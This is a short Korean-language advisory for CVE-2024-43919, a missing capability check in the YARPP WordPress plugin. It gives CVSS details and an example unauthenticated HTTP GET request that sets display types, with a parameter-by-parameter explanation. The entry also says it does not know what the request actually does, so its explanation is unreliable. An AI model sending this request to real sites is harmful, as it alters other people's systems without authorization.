
YARPP <= 5.30.10 - 인가 누락
YARPP <= 5.30.10 - 인증 누락
WordPress 플러그인 YARPP – Yet Another Related Posts Plugin은 5.30.10 이하의 모든 버전에서 ~/includes/yarpp_pro_set_display_types.php 파일에 기능 검사(capability check)가 누락되어 무단 접근이 가능합니다. 이로 인해 인증되지 않은 공격자가 표시 유형(display types)을 설정할 수 있습니다.
Type: plugin
CVSS Score: 5.3
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N
CVE: CVE-2024-43919
Slug: yet-another-related-posts-plugin
이것이 실제로 무엇을 하는지는 알 수 없습니다.
다음은 YARPP 플러그인의 취약점을 악용하는 원시 HTTP 요청의 예시입니다:
GET /wp-content/plugins/yet-another-related-posts-plugin/includes/yarpp_pro_set_display_types.php?ypsdt=false&types[]=post&types[]=page HTTP/1.1
Host: example.com
이 요청에서:
ypsdt 파라미터는 false로 설정되어 코드의 초기 검사를 우회합니다.types[] 파라미터는 설정할 표시 유형을 지정하는 데 사용됩니다. 이 예시에서는 post와 page가 유형으로 전달됩니다.Host 헤더는 취약한 YARPP 플러그인이 설치된 대상 WordPress 사이트를 지정합니다.이 요청이 취약한 버전의 YARPP 플러그인이 설치된 WordPress 사이트로 전송되면, 인증이나 권한 부여 없이 표시 유형이 설정됩니다.